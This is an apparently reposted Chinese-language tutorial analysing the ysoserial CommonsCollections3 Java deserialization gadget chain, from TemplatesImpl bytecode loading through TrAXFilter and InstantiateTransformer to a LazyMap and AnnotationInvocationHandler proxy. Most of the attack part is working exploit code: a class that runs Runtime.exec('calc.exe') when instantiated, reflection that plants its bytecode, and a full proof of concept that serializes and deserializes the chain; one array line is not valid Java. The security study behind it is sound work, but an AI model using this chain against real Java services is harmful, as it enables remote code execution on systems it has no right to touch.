当前位置 : 主页 > 编程语言 > java >

Java安全 ysoserial CommonsCollections3示例分析

来源:互联网 收集:自由互联 发布时间:2023-01-30
目录 cc3利用链如下: 一、为构造的恶意字节码文件找一个newInstance启动入口 构造恶意类: 加载的字节码类需要继承AbstractTranslet 二、将字节码内容直接赋值序列化 三、让newTransformer得
目录
  • cc3利用链如下:
    • 一、为构造的恶意字节码文件找一个newInstance启动入口
      • 构造恶意类:
      • 加载的字节码类需要继承AbstractTranslet
    • 二、将字节码内容直接赋值序列化
      • 三、让newTransformer得到执行

      cc3利用链如下:

      TrAXFilter(Templates templates)
          TemplatesImpl->newTransformer()
              TemplatesImpl->getTransletInstance()
                  _class[_transletIndex].newInstance();
      

      一、为构造的恶意字节码文件找一个newInstance启动入口

      在TemplatesImpl类中的getTransletInstance方法,对 _class[_transletIndex]实现了newInstance()。

      所以如果构造一个恶意类,然后通过类加载器加载,最终通过TemplatesImpl实现这个类的实例化,将实现这个恶意类的初始化执行。

      假设将恶意代码写入这个类的静态代码块中,在这个类被实例化的时候得到执行,以Runtime为例。

      构造恶意类:

      public class Runtimecalc {
          {
              Runtime runtime = Runtime.getRuntime();
              try {
                  runtime.exec("calc.exe");
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
      }
      

      又由于TemplatesImpl类中,getTransletInstance方法属于私有方法,所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance(),该方法public作用域,可以被外部调用执行。

      public synchronized Transformer newTransformer()
              throws TransformerConfigurationException
          {
              TransformerImpl transformer;
              transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                  _indentNumber, _tfactory);
              if (_uriResolver != null) {
                  transformer.setURIResolver(_uriResolver);
              }
              if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
                  transformer.setSecureProcessing(true);
              }
              return transformer;
          }
      

      通过反射给_class和_transletIndex赋值。但是在赋值之前,我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;,要求不能为空才可以继续执行后面代码,所以还需要通过反射给_name赋值。

      另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();

      加载的字节码类需要继承AbstractTranslet

      private Translet getTransletInstance()
              throws TransformerConfigurationException {
              try {
                  if (_name == null) return null;
                  if (_class == null) defineTransletClasses();
                  // The translet needs to keep a reference to all its auxiliary
                  // class to prevent the GC from collecting them
                  AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
                  translet.postInitialization();
                  translet.setTemplates(this);
                  translet.setServicesMechnism(_useServicesMechanism);
                  translet.setAllowedProtocols(_accessExternalStylesheet);
                  if (_auxClasses != null) {
                      translet.setAuxiliaryClasses(_auxClasses);
                  }
                  return translet;
              }
              catch (InstantiationException e) {
                  ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                  throw new TransformerConfigurationException(err.toString());
              }
              catch (IllegalAccessException e) {
                  ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                  throw new TransformerConfigurationException(err.toString());
              }
          }
      

      那么假设我们通过反射,直接为_class赋值为一个恶意字节码文件的文件路径。

      然后通过调newTransformer方法实现,就能得到字节码文件的初始化执行。

      TemplatesImpl templates = new TemplatesImpl();
      Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
      Field name = templates_cl.getDeclaredField("_name");
      name.setAccessible(true);
      name.set(templates,"xxx");
      Field aClass = templates_cl.getDeclaredField("_class");
      aClass.setAccessible(true);
      aClass.set(templates,new Class[]{Runtimecalc.class});
      Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
      transletIndex.setAccessible(true);
      transletIndex.set(templates,0);
      templates.newTransformer();
      

      二、将字节码内容直接赋值序列化

      字节码文件路径是无法在目标机器得到执行的,所以需要找到其他方法将字节码内容直接赋值序列化

      Runtimecalc.class作为类文件赋值,是无法实现序列化的时候将文件内容直接传入的,这里赋值的只是文件路径。

      所以序列化和反序列化是不成功的。

      我们知道ClassLoader在加载的类的时候,最终是通过defineClass加载字节码文件内容。

      利用这种方式,直接的赋值传参内容是字节码,就可以达到恶意类加载的序列化和反序列化。

      Templateslmpl类中getTransletInstance方法中,在_class[_transletIndex].newInstance()执行前,还有一段如下代码

      if (_class == null) defineTransletClasses()
      

      假设我们之前不对_class赋值,查看defineTransletClasses做了什么。

      private void defineTransletClasses()
              throws TransformerConfigurationException {
          	//需要给_bytecodes赋值
              if (_bytecodes == null) {
                  ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
                  throw new TransformerConfigurationException(err.toString());
              }
          	TransletClassLoader loader = (TransletClassLoader)
                  AccessController.doPrivileged(new PrivilegedAction() {
                      public Object run() {
                          return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                      }
                  });
              try {
                  final int classCount = _bytecodes.length;
                  //为_class赋值,长度为_bytecodes的长度
                  _class = new Class[classCount];
                  if (classCount > 1) {
                      _auxClasses = new HashMap<>();
                  }
                  for (int i = 0; i < classCount; i++) {
                      //_bytecodes[0]赋值为字节码内容赋值给_class[0]
                      _class[i] = loader.defineClass(_bytecodes[i]);
                      final Class superClass = _class[i].getSuperclass();
                      // Check if this is the main class
                      if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                          _transletIndex = i;
                      }
                      else {
                          _auxClasses.put(_class[i].getName(), _class[i]);
                      }
                  }
              }
          }
      
      private byte[][] _bytecodes = null;
      

      _bytecodes是一个byte二维数组,我们将byte[]类型的字节码赋值给_bytecodes[0]

      这里就直接赋值字节码内容了

      byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
      

      这样在defineTransletClasses被调用的时候

      执行_class[i] = loader.defineClass(_bytecodes[i]);

      _class[0]将会被赋值为loader.defineClass(code)

      由于_tfactory需要调用,所以给_tfactory也赋值

      最终实现代码如下:

      TemplatesImpl templates = new TemplatesImpl();
      Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
      Field name = templates_cl.getDeclaredField("_name");
      name.setAccessible(true);
      name.set(templates,"xxx");
      //注释不给_class赋值,满足_class == null,defineTransletClasses得到调用
      //Field aClass = templates_cl.getDeclaredField("_class");
      //aClass.setAccessible(true);
      //aClass.set(templates,new Class[]{Runtimecalc.class});
      Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
      transletIndex.setAccessible(true);
      transletIndex.set(templates,0);
      //加载字节码
      byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
      byte[][] codes = [code];
      //给_bytecodes赋值
      Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
      bytecodes.setAccessible(true);
      bytecodes.set(templates,codes);
      //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
      //_tfactorys是TransformerFactoryImpl类型的
      TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
      Field tfactory = templates_cl.getDeclaredField("_tfactory");
      tfactory.setAccessible(true);
      tfactory.set(templates,transformerFactory);
      templates.newTransformer();
      

      三、让newTransformer得到执行

      TrAXFilter类的构造方法会调用newTransformer

      public TrAXFilter(Templates templates)  throws
          TransformerConfigurationException
      {
          _templates = templates;
          _transformer = (TransformerImpl) templates.newTransformer();
          _transformerHandler = new TransformerHandlerImpl(_transformer);
          _useServicesMechanism = _transformer.useServicesMechnism();
      }
      
      TrAXFilter trAXFilter = new TrAXFilter(templates);
      

      但是TrAXFilter并不实现Serializable接口,无法序列化,需要通过反射调用

      在cc1中反射执行最终是通过InvokerTransformer的transform来实现

      这里用了InstantiateTransformer的transform

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
      instantiateTransformer.transform(TrAXFilter.class);
      

      剩下的就和cc1一样了

      public class CC3Test3 {
          public static void main(String[] args) throws Exception {
              TemplatesImpl templates = new TemplatesImpl();
              Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
              Field name = templates_cl.getDeclaredField("_name");
              name.setAccessible(true);
              name.set(templates,"xxx");
              Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
              transletIndex.setAccessible(true);
              transletIndex.set(templates,0);
              byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
              byte[][] codes = [code];
              //给_bytecodes赋值
              Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
              bytecodes.setAccessible(true);
              bytecodes.set(templates,codes);
              //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
              //_tfactorys是TransformerFactoryImpl类型的
              TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
              Field tfactory = templates_cl.getDeclaredField("_tfactory");
              tfactory.setAccessible(true);
              tfactory.set(templates,transformerFactory);
              InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
              Transformer[] transformerslist = {
                      new ConstantTransformer(TrAXFilter.class),
                      instantiateTransformer,
              };
              ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);
              HashMap hashMap1 = new HashMap();
              LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);
              Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
              Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
              declaredConstructor.setAccessible(true);
              InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
              Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
              InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
              ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));
              objectOutputStream.writeObject(handle);
              ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));
              objectInputStream.readObject();
          }
      }
      

      以上就是Java安全 ysoserial CommonsCollections3示例分析的详细内容,更多关于java安全ysoserial CommonsCollections的资料请关注自由互联其它相关文章!

      上一篇:java安全 ysoserial CommonsCollections1示例解析
      下一篇:没有了
      网友评论